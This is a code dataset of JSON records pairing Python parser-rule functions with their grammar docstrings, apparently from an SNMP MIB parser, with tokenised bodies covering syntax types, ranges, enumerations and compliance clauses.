{"signature": "def p_moduleIdentityClause(self, p):", "body": "p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>],  <EOL>(p[<NUM_LIT:4>], p[<NUM_LIT:5>]),  <EOL>(p[<NUM_LIT:6>], p[<NUM_LIT:7>]),  <EOL>(p[<NUM_LIT:8>], p[<NUM_LIT:9>]),  <EOL>(p[<NUM_LIT:10>], p[<NUM_LIT:11>]),  <EOL>p[<NUM_LIT:12>],  <EOL>p[<NUM_LIT:15>])<EOL>", "docstring": "moduleIdentityClause : LOWERCASE_IDENTIFIER MODULE_IDENTITY SubjectCategoriesPart LAST_UPDATED ExtUTCTime ORGANIZATION Text CONTACT_INFO Text DESCRIPTION Text RevisionPart COLON_COLON_EQUAL '{' objectIdentifier '}", "id": "f5672:c0:m52"}
{"signature": "def p_SubjectCategoriesPart(self, p):", "body": "<EOL>", "docstring": "SubjectCategoriesPart : SUBJECT_CATEGORIES '{' SubjectCategories '}'\n                                 | empty", "id": "f5672:c0:m53"}
{"signature": "def p_SubjectCategories(self, p):", "body": "<EOL>", "docstring": "SubjectCategories : CategoryIDs", "id": "f5672:c0:m54"}
{"signature": "def p_CategoryIDs(self, p):", "body": "<EOL>", "docstring": "CategoryIDs : CategoryIDs ',' CategoryID\n                       | CategoryID", "id": "f5672:c0:m55"}
{"signature": "def p_CategoryID(self, p):", "body": "<EOL>", "docstring": "CategoryID : LOWERCASE_IDENTIFIER '(' NUMBER ')'\n                      | LOWERCASE_IDENTIFIER", "id": "f5672:c0:m56"}
{"signature": "def p_ObjectSyntax(self, p):", "body": "n = len(p)<EOL>if n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL><DEDENT>elif n == <NUM_LIT:3>:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:2>]<EOL><DEDENT>", "docstring": "ObjectSyntax : SimpleSyntax\n                        | conceptualTable\n                        | row\n                        | entryType\n                        | ApplicationSyntax\n                        | typeTag SimpleSyntax", "id": "f5672:c0:m57"}
{"signature": "def p_typeTag(self, p):", "body": "", "docstring": "typeTag : '[' APPLICATION NUMBER ']' IMPLICIT\n                   | '[' UNIVERSAL NUMBER ']' IMPLICIT", "id": "f5672:c0:m58"}
{"signature": "def p_sequenceObjectSyntax(self, p):", "body": "<EOL>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "sequenceObjectSyntax : sequenceSimpleSyntax\n                                | sequenceApplicationSyntax", "id": "f5672:c0:m59"}
{"signature": "def p_valueofObjectSyntax(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "valueofObjectSyntax : valueofSimpleSyntax", "id": "f5672:c0:m60"}
{"signature": "def p_SimpleSyntax(self, p):", "body": "n = len(p)<EOL>if n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>])<EOL><DEDENT>elif n == <NUM_LIT:3>:<EOL><INDENT>if p[<NUM_LIT:1>] == '<STR_LIT>':<EOL><INDENT>p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>] + '<STR_LIT:U+0020>' + p[<NUM_LIT:2>])<EOL><DEDENT>else:<EOL><INDENT>p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>], p[<NUM_LIT:2>])<EOL><DEDENT><DEDENT>elif n == <NUM_LIT:4>:<EOL><INDENT>p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>] + '<STR_LIT:U+0020>' + p[<NUM_LIT:2>], p[<NUM_LIT:3>])<EOL><DEDENT>", "docstring": "SimpleSyntax : INTEGER\n                        | INTEGER integerSubType\n                        | INTEGER enumSpec\n                        | INTEGER32\n                        | INTEGER32 integerSubType\n                        | UPPERCASE_IDENTIFIER enumSpec\n                        | UPPERCASE_IDENTIFIER integerSubType\n                        | OCTET STRING\n                        | OCTET STRING octetStringSubType\n                        | UPPERCASE_IDENTIFIER octetStringSubType\n                        | OBJECT IDENTIFIER anySubType", "id": "f5672:c0:m61"}
{"signature": "def p_valueofSimpleSyntax(self, p):", "body": "<EOL>n = len(p)<EOL>if n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL><DEDENT>elif n == <NUM_LIT:4>:  <EOL><INDENT>pass<EOL><DEDENT>", "docstring": "valueofSimpleSyntax : NUMBER\n                               | NEGATIVENUMBER\n                               | NUMBER64\n                               | NEGATIVENUMBER64\n                               | HEX_STRING\n                               | BIN_STRING\n                               | LOWERCASE_IDENTIFIER\n                               | QUOTED_STRING\n                               | '{' objectIdentifier_defval '}", "id": "f5672:c0:m62"}
{"signature": "def p_sequenceSimpleSyntax(self, p):", "body": "n = len(p)<EOL>if n == <NUM_LIT:3>:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]  <EOL><DEDENT>elif n == <NUM_LIT:4>:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>] + '<STR_LIT:U+0020>' + p[<NUM_LIT:2>]<EOL><DEDENT>", "docstring": "sequenceSimpleSyntax : INTEGER anySubType\n                                | INTEGER32 anySubType\n                                | OCTET STRING anySubType\n                                | OBJECT IDENTIFIER anySubType", "id": "f5672:c0:m63"}
{"signature": "def p_ApplicationSyntax(self, p):", "body": "<EOL>n = len(p)<EOL>if n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>])<EOL><DEDENT>elif n == <NUM_LIT:3>:<EOL><INDENT>p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>], p[<NUM_LIT:2>])<EOL><DEDENT>", "docstring": "ApplicationSyntax : IPADDRESS anySubType\n                             | COUNTER32\n                             | COUNTER32 integerSubType\n                             | GAUGE32\n                             | GAUGE32 integerSubType\n                             | UNSIGNED32\n                             | UNSIGNED32 integerSubType\n                             | TIMETICKS anySubType\n                             | OPAQUE\n                             | OPAQUE octetStringSubType\n                             | COUNTER64\n                             | COUNTER64 integerSubType", "id": "f5672:c0:m64"}
{"signature": "def p_sequenceApplicationSyntax(self, p):", "body": "n = len(p)<EOL>if n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL><DEDENT>elif n == <NUM_LIT:3>:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL><DEDENT>", "docstring": "sequenceApplicationSyntax : IPADDRESS anySubType\n                                     | COUNTER32 anySubType\n                                     | GAUGE32 anySubType\n                                     | UNSIGNED32 anySubType\n                                     | TIMETICKS anySubType\n                                     | OPAQUE\n                                     | COUNTER64 anySubType", "id": "f5672:c0:m65"}
{"signature": "def p_anySubType(self, p):", "body": "if p[<NUM_LIT:1>]:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL><DEDENT>", "docstring": "anySubType : integerSubType\n                      | octetStringSubType\n                      | enumSpec\n                      | empty", "id": "f5672:c0:m66"}
{"signature": "def p_integerSubType(self, p):", "body": "p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:2>])<EOL>", "docstring": "integerSubType : '(' ranges ')", "id": "f5672:c0:m67"}
{"signature": "def p_octetStringSubType(self, p):", "body": "p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:4>])<EOL>", "docstring": "octetStringSubType : '(' SIZE '(' ranges ')' ')", "id": "f5672:c0:m68"}
{"signature": "def p_ranges(self, p):", "body": "n = len(p)<EOL>if n == <NUM_LIT:4>:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>] + [p[<NUM_LIT:3>]]<EOL><DEDENT>elif n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = [p[<NUM_LIT:1>]]<EOL><DEDENT>", "docstring": "ranges : ranges '|' range\n                  | range", "id": "f5672:c0:m69"}
{"signature": "def p_range(self, p):", "body": "n = len(p)<EOL>if n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = (p[<NUM_LIT:1>],)<EOL><DEDENT>elif n == <NUM_LIT:4>:<EOL><INDENT>p[<NUM_LIT:0>] = (p[<NUM_LIT:1>], p[<NUM_LIT:3>])<EOL><DEDENT>", "docstring": "range : value DOT_DOT value\n                 | value", "id": "f5672:c0:m70"}
{"signature": "def p_value(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "value : NEGATIVENUMBER\n                 | NUMBER\n                 | NEGATIVENUMBER64\n                 | NUMBER64\n                 | HEX_STRING\n                 | BIN_STRING", "id": "f5672:c0:m71"}
{"signature": "def p_enumSpec(self, p):", "body": "p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:2>])<EOL>", "docstring": "enumSpec : '{' enumItems '}", "id": "f5672:c0:m72"}
{"signature": "def p_enumItems(self, p):", "body": "n = len(p)<EOL>if n == <NUM_LIT:4>:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>] + [p[<NUM_LIT:3>]]<EOL><DEDENT>elif n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = [p[<NUM_LIT:1>]]<EOL><DEDENT>", "docstring": "enumItems : enumItems ',' enumItem\n                     | enumItem", "id": "f5672:c0:m73"}
{"signature": "def p_enumItem(self, p):", "body": "p[<NUM_LIT:0>] = (p[<NUM_LIT:1>], p[<NUM_LIT:3>])<EOL>", "docstring": "enumItem : LOWERCASE_IDENTIFIER '(' enumNumber ')", "id": "f5672:c0:m74"}
{"signature": "def p_enumNumber(self, p):", "body": "<EOL>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "enumNumber : NUMBER\n                      | NEGATIVENUMBER", "id": "f5672:c0:m75"}
{"signature": "def p_Status(self, p):", "body": "p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>])<EOL>", "docstring": "Status : LOWERCASE_IDENTIFIER", "id": "f5672:c0:m76"}
{"signature": "def p_DisplayPart(self, p):", "body": "if p[<NUM_LIT:1>]:<EOL><INDENT>p[<NUM_LIT:0>] = (p[<NUM_LIT:1>], p[<NUM_LIT:2>])<EOL><DEDENT>", "docstring": "DisplayPart : DISPLAY_HINT Text\n                       | empty", "id": "f5672:c0:m77"}
{"signature": "def p_UnitsPart(self, p):", "body": "if p[<NUM_LIT:1>]:<EOL><INDENT>p[<NUM_LIT:0>] = (p[<NUM_LIT:1>], p[<NUM_LIT:2>])<EOL><DEDENT>", "docstring": "UnitsPart : UNITS Text\n                     | empty", "id": "f5672:c0:m78"}
{"signature": "def p_Access(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "Access : LOWERCASE_IDENTIFIER", "id": "f5672:c0:m79"}
{"signature": "def p_IndexPart(self, p):", "body": "if p[<NUM_LIT:1>]:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:3>]<EOL><DEDENT>", "docstring": "IndexPart : AUGMENTS '{' Entry '}'\n                     | empty", "id": "f5672:c0:m80"}
{"signature": "def p_MibIndex(self, p):", "body": "if p[<NUM_LIT:1>]:<EOL><INDENT>p[<NUM_LIT:0>] = (p[<NUM_LIT:1>], p[<NUM_LIT:3>])<EOL><DEDENT>", "docstring": "MibIndex : INDEX '{' IndexTypes '}'\n                    | empty", "id": "f5672:c0:m81"}
{"signature": "def p_IndexTypes(self, p):", "body": "n = len(p)<EOL>if n == <NUM_LIT:4>:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>] + [p[<NUM_LIT:3>]]<EOL><DEDENT>elif n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = [p[<NUM_LIT:1>]]<EOL><DEDENT>", "docstring": "IndexTypes : IndexTypes ',' IndexType\n                      | IndexType", "id": "f5672:c0:m82"}
{"signature": "def p_IndexType(self, p):", "body": "n = len(p)<EOL>if n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = (<NUM_LIT:0>, p[<NUM_LIT:1>])<EOL><DEDENT>elif n == <NUM_LIT:3>:<EOL><INDENT>p[<NUM_LIT:0>] = (<NUM_LIT:1>, p[<NUM_LIT:2>])<EOL><DEDENT>", "docstring": "IndexType : IMPLIED Index\n                     | Index", "id": "f5672:c0:m83"}
{"signature": "def p_Index(self, p):", "body": "<EOL>p[<NUM_LIT:0>] = p[<NUM_LIT:1>][<NUM_LIT:1>][<NUM_LIT:0>]<EOL>", "docstring": "Index : ObjectName", "id": "f5672:c0:m84"}
{"signature": "def p_Entry(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>][<NUM_LIT:1>][<NUM_LIT:0>]<EOL>", "docstring": "Entry : ObjectName", "id": "f5672:c0:m85"}
{"signature": "def p_DefValPart(self, p):", "body": "if p[<NUM_LIT:1>] and p[<NUM_LIT:3>]:<EOL><INDENT>p[<NUM_LIT:0>] = (p[<NUM_LIT:1>], p[<NUM_LIT:3>])<EOL><DEDENT>", "docstring": "DefValPart : DEFVAL '{' Value '}'\n                      | empty", "id": "f5672:c0:m86"}
{"signature": "def p_Value(self, p):", "body": "n = len(p)<EOL>if n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL><DEDENT>elif n == <NUM_LIT:4>:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:2>]<EOL><DEDENT>", "docstring": "Value : valueofObjectSyntax\n                 | '{' BitsValue '}", "id": "f5672:c0:m87"}
{"signature": "def p_BitsValue(self, p):", "body": "if p[<NUM_LIT:1>]:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL><DEDENT>", "docstring": "BitsValue : BitNames\n                     | empty", "id": "f5672:c0:m88"}
{"signature": "def p_BitNames(self, p):", "body": "n = len(p)<EOL>if n == <NUM_LIT:4>:<EOL><INDENT>p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>][<NUM_LIT:1>] + [p[<NUM_LIT:3>]])<EOL><DEDENT>elif n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = ('<STR_LIT>', [p[<NUM_LIT:1>]])<EOL><DEDENT>", "docstring": "BitNames : BitNames ',' LOWERCASE_IDENTIFIER\n                    | LOWERCASE_IDENTIFIER", "id": "f5672:c0:m89"}
{"signature": "def p_ObjectName(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "ObjectName : objectIdentifier", "id": "f5672:c0:m90"}
{"signature": "def p_NotificationName(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "NotificationName : objectIdentifier", "id": "f5672:c0:m91"}
{"signature": "def p_ReferPart(self, p):", "body": "if p[<NUM_LIT:1>]:<EOL><INDENT>p[<NUM_LIT:0>] = (p[<NUM_LIT:1>], p[<NUM_LIT:2>])<EOL><DEDENT>", "docstring": "ReferPart : REFERENCE Text\n                     | empty", "id": "f5672:c0:m92"}
{"signature": "def p_RevisionPart(self, p):", "body": "if p[<NUM_LIT:1>]:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL><DEDENT>", "docstring": "RevisionPart : Revisions\n                        | empty", "id": "f5672:c0:m93"}
{"signature": "def p_Revisions(self, p):", "body": "n = len(p)<EOL>if n == <NUM_LIT:3>:<EOL><INDENT>p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>][<NUM_LIT:1>] + [p[<NUM_LIT:2>]])<EOL><DEDENT>elif n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = ('<STR_LIT>', [p[<NUM_LIT:1>]])<EOL><DEDENT>", "docstring": "Revisions : Revisions Revision\n                     | Revision", "id": "f5672:c0:m94"}
{"signature": "def p_Revision(self, p):", "body": "p[<NUM_LIT:0>] = (p[<NUM_LIT:2>],  <EOL>(p[<NUM_LIT:3>], p[<NUM_LIT:4>]))<EOL>", "docstring": "Revision : REVISION ExtUTCTime DESCRIPTION Text", "id": "f5672:c0:m95"}
{"signature": "def p_NotificationObjectsPart(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>] and p[<NUM_LIT:3>] or []<EOL>", "docstring": "NotificationObjectsPart : OBJECTS '{' Objects '}'\n                                   | empty", "id": "f5672:c0:m96"}
{"signature": "def p_ObjectGroupObjectsPart(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:3>]<EOL>", "docstring": "ObjectGroupObjectsPart : OBJECTS '{' Objects '}", "id": "f5672:c0:m97"}
{"signature": "def p_Objects(self, p):", "body": "n = len(p)<EOL>if n == <NUM_LIT:4>:<EOL><INDENT>p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>][<NUM_LIT:1>] + [p[<NUM_LIT:3>]])<EOL><DEDENT>elif n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = ('<STR_LIT>', [p[<NUM_LIT:1>]])<EOL><DEDENT>", "docstring": "Objects : Objects ',' Object\n                   | Object", "id": "f5672:c0:m98"}
{"signature": "def p_Object(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>][<NUM_LIT:1>][<NUM_LIT:0>]<EOL>", "docstring": "Object : ObjectName", "id": "f5672:c0:m99"}
{"signature": "def p_NotificationsPart(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:3>]<EOL>", "docstring": "NotificationsPart : NOTIFICATIONS '{' Notifications '}", "id": "f5672:c0:m100"}
{"signature": "def p_Notifications(self, p):", "body": "n = len(p)<EOL>if n == <NUM_LIT:4>:<EOL><INDENT>p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>][<NUM_LIT:1>] + [p[<NUM_LIT:3>]])<EOL><DEDENT>elif n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = ('<STR_LIT>', [p[<NUM_LIT:1>]])<EOL><DEDENT>", "docstring": "Notifications : Notifications ',' Notification\n                         | Notification", "id": "f5672:c0:m101"}
{"signature": "def p_Notification(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>][<NUM_LIT:1>][<NUM_LIT:0>]<EOL>", "docstring": "Notification : NotificationName", "id": "f5672:c0:m102"}
{"signature": "def p_Text(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>][<NUM_LIT:1>:-<NUM_LIT:1>]<EOL>", "docstring": "Text : QUOTED_STRING", "id": "f5672:c0:m103"}
{"signature": "def p_ExtUTCTime(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>][<NUM_LIT:1>:-<NUM_LIT:1>]<EOL>", "docstring": "ExtUTCTime : QUOTED_STRING", "id": "f5672:c0:m104"}
{"signature": "def p_objectIdentifier(self, p):", "body": "p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>])<EOL>", "docstring": "objectIdentifier : subidentifiers", "id": "f5672:c0:m105"}
{"signature": "def p_subidentifiers(self, p):", "body": "n = len(p)<EOL>if n == <NUM_LIT:3>:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>] + [p[<NUM_LIT:2>]]<EOL><DEDENT>elif n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = [p[<NUM_LIT:1>]]<EOL><DEDENT>", "docstring": "subidentifiers : subidentifiers subidentifier\n                          | subidentifier", "id": "f5672:c0:m106"}
{"signature": "def p_subidentifier(self, p):", "body": "n = len(p)<EOL>if n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL><DEDENT>elif n == <NUM_LIT:5>:<EOL><INDENT>p[<NUM_LIT:0>] = (p[<NUM_LIT:1>], p[<NUM_LIT:3>])<EOL><DEDENT>", "docstring": "subidentifier : fuzzy_lowercase_identifier\n                         | NUMBER\n                         | LOWERCASE_IDENTIFIER '(' NUMBER ')", "id": "f5672:c0:m107"}
{"signature": "def p_objectIdentifier_defval(self, p):", "body": "p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>])<EOL>", "docstring": "objectIdentifier_defval : subidentifiers_defval", "id": "f5672:c0:m108"}
{"signature": "def p_subidentifiers_defval(self, p):", "body": "n = len(p)<EOL>if n == <NUM_LIT:3>:<EOL><INDENT>p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>][<NUM_LIT:1>] + [p[<NUM_LIT:2>]])<EOL><DEDENT>elif n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = ('<STR_LIT>', [p[<NUM_LIT:1>]])<EOL><DEDENT>", "docstring": "subidentifiers_defval : subidentifiers_defval subidentifier_defval\n                                 | subidentifier_defval", "id": "f5672:c0:m109"}
{"signature": "def p_subidentifier_defval(self, p):", "body": "n = len(p)<EOL>if n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>])<EOL><DEDENT>elif n == <NUM_LIT:5>:<EOL><INDENT>p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>], p[<NUM_LIT:3>])<EOL><DEDENT>", "docstring": "subidentifier_defval : LOWERCASE_IDENTIFIER '(' NUMBER ')'\n                                | NUMBER", "id": "f5672:c0:m110"}
{"signature": "def p_objectGroupClause(self, p):", "body": "p[<NUM_LIT:0>] = ('<STR_LIT>',<EOL>p[<NUM_LIT:1>],  <EOL>p[<NUM_LIT:3>],  <EOL>p[<NUM_LIT:5>],  <EOL>(p[<NUM_LIT:6>], p[<NUM_LIT:7>]),  <EOL>p[<NUM_LIT:8>],  <EOL>p[<NUM_LIT:11>])<EOL>", "docstring": "objectGroupClause : LOWERCASE_IDENTIFIER OBJECT_GROUP ObjectGroupObjectsPart STATUS Status DESCRIPTION Text ReferPart COLON_COLON_EQUAL '{' objectIdentifier '}", "id": "f5672:c0:m111"}
{"signature": "def p_notificationGroupClause(self, p):", "body": "p[<NUM_LIT:0>] = ('<STR_LIT>',<EOL>p[<NUM_LIT:1>],  <EOL>p[<NUM_LIT:3>],  <EOL>p[<NUM_LIT:5>],  <EOL>(p[<NUM_LIT:6>], p[<NUM_LIT:7>]),  <EOL>p[<NUM_LIT:8>],  <EOL>p[<NUM_LIT:11>])<EOL>", "docstring": "notificationGroupClause : LOWERCASE_IDENTIFIER NOTIFICATION_GROUP NotificationsPart STATUS Status DESCRIPTION Text ReferPart COLON_COLON_EQUAL '{' objectIdentifier '}", "id": "f5672:c0:m112"}
{"signature": "def p_moduleComplianceClause(self, p):", "body": "p[<NUM_LIT:0>] = ('<STR_LIT>',<EOL>p[<NUM_LIT:1>],  <EOL>p[<NUM_LIT:4>],  <EOL>(p[<NUM_LIT:5>], p[<NUM_LIT:6>]),  <EOL>p[<NUM_LIT:7>],  <EOL>p[<NUM_LIT:8>],  <EOL>p[<NUM_LIT:11>])<EOL>", "docstring": "moduleComplianceClause : LOWERCASE_IDENTIFIER MODULE_COMPLIANCE STATUS Status DESCRIPTION Text ReferPart ComplianceModulePart COLON_COLON_EQUAL '{' objectIdentifier '}", "id": "f5672:c0:m113"}
{"signature": "def p_ComplianceModulePart(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "ComplianceModulePart : ComplianceModules", "id": "f5672:c0:m114"}
{"signature": "def p_ComplianceModules(self, p):", "body": "n = len(p)<EOL>if n == <NUM_LIT:3>:<EOL><INDENT>p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>][<NUM_LIT:1>] + [p[<NUM_LIT:2>]])<EOL><DEDENT>elif n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = ('<STR_LIT>', [p[<NUM_LIT:1>]])<EOL><DEDENT>", "docstring": "ComplianceModules : ComplianceModules ComplianceModule\n                             | ComplianceModule", "id": "f5672:c0:m115"}
{"signature": "def p_ComplianceModule(self, p):", "body": "objects = p[<NUM_LIT:3>] and p[<NUM_LIT:3>][<NUM_LIT:1>] or []<EOL>objects += p[<NUM_LIT:4>] and p[<NUM_LIT:4>][<NUM_LIT:1>] or []<EOL>p[<NUM_LIT:0>] = (p[<NUM_LIT:2>],  <EOL>objects)<EOL>", "docstring": "ComplianceModule : MODULE ComplianceModuleName MandatoryPart CompliancePart", "id": "f5672:c0:m116"}
{"signature": "def p_ComplianceModuleName(self, p):", "body": "<EOL>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "ComplianceModuleName : UPPERCASE_IDENTIFIER\n                                | empty", "id": "f5672:c0:m117"}
{"signature": "def p_MandatoryPart(self, p):", "body": "if p[<NUM_LIT:1>]:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:3>]<EOL><DEDENT>", "docstring": "MandatoryPart : MANDATORY_GROUPS '{' MandatoryGroups '}'\n                         | empty", "id": "f5672:c0:m118"}
{"signature": "def p_MandatoryGroups(self, p):", "body": "n = len(p)<EOL>if n == <NUM_LIT:4>:<EOL><INDENT>p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>][<NUM_LIT:1>] + [p[<NUM_LIT:3>]])<EOL><DEDENT>elif n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = ('<STR_LIT>', [p[<NUM_LIT:1>]])<EOL><DEDENT>", "docstring": "MandatoryGroups : MandatoryGroups ',' MandatoryGroup\n                           | MandatoryGroup", "id": "f5672:c0:m119"}
{"signature": "def p_MandatoryGroup(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>][<NUM_LIT:1>][<NUM_LIT:0>]<EOL>", "docstring": "MandatoryGroup : objectIdentifier", "id": "f5672:c0:m120"}
{"signature": "def p_CompliancePart(self, p):", "body": "if p[<NUM_LIT:1>]:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL><DEDENT>", "docstring": "CompliancePart : Compliances\n                          | empty", "id": "f5672:c0:m121"}
{"signature": "def p_Compliances(self, p):", "body": "n = len(p)<EOL>if n == <NUM_LIT:3>:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>] and p[<NUM_LIT:2>] and ('<STR_LIT>', p[<NUM_LIT:1>][<NUM_LIT:1>] + [p[<NUM_LIT:2>]]) or p[<NUM_LIT:1>]<EOL><DEDENT>elif n == <NUM_LIT:2>:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>] and ('<STR_LIT>', [p[<NUM_LIT:1>]]) or None<EOL><DEDENT>", "docstring": "Compliances : Compliances Compliance\n                       | Compliance", "id": "f5672:c0:m122"}
{"signature": "def p_Compliance(self, p):", "body": "if p[<NUM_LIT:1>]:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL><DEDENT>", "docstring": "Compliance : ComplianceGroup\n                      | ComplianceObject", "id": "f5672:c0:m123"}
{"signature": "def p_ComplianceGroup(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:2>][<NUM_LIT:1>][<NUM_LIT:0>]<EOL>", "docstring": "ComplianceGroup : GROUP objectIdentifier DESCRIPTION Text", "id": "f5672:c0:m124"}
{"signature": "def p_ComplianceObject(self, p):", "body": "<EOL>", "docstring": "ComplianceObject : OBJECT ObjectName SyntaxPart WriteSyntaxPart AccessPart DESCRIPTION Text", "id": "f5672:c0:m125"}
{"signature": "def p_SyntaxPart(self, p):", "body": "if p[<NUM_LIT:1>]:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:2>]<EOL><DEDENT>", "docstring": "SyntaxPart : SYNTAX Syntax\n                      | empty", "id": "f5672:c0:m126"}
{"signature": "def p_WriteSyntaxPart(self, p):", "body": "if p[<NUM_LIT:1>]:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:2>]<EOL><DEDENT>", "docstring": "WriteSyntaxPart : WRITE_SYNTAX WriteSyntax\n                           | empty", "id": "f5672:c0:m127"}
{"signature": "def p_WriteSyntax(self, p):", "body": "p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>])<EOL>", "docstring": "WriteSyntax : Syntax", "id": "f5672:c0:m128"}
{"signature": "def p_AccessPart(self, p):", "body": "if p[<NUM_LIT:1>]:<EOL><INDENT>p[<NUM_LIT:0>] = (p[<NUM_LIT:1>], p[<NUM_LIT:2>])<EOL><DEDENT>", "docstring": "AccessPart : MIN_ACCESS Access\n                      | empty", "id": "f5672:c0:m129"}
{"signature": "def p_agentCapabilitiesClause(self, p):", "body": "p[<NUM_LIT:0>] = ('<STR_LIT>', p[<NUM_LIT:1>],  <EOL>(p[<NUM_LIT:3>], p[<NUM_LIT:4>]),  <EOL>p[<NUM_LIT:6>],  <EOL>(p[<NUM_LIT:7>], p[<NUM_LIT:8>]),  <EOL>p[<NUM_LIT:9>],  <EOL>p[<NUM_LIT>])<EOL>", "docstring": "agentCapabilitiesClause : LOWERCASE_IDENTIFIER AGENT_CAPABILITIES PRODUCT_RELEASE Text STATUS Status DESCRIPTION Text ReferPart ModulePart_Capabilities COLON_COLON_EQUAL '{' objectIdentifier '}", "id": "f5672:c0:m130"}
{"signature": "def p_ModulePart_Capabilities(self, p):", "body": "<EOL>", "docstring": "ModulePart_Capabilities : Modules_Capabilities\n                                   | empty", "id": "f5672:c0:m131"}
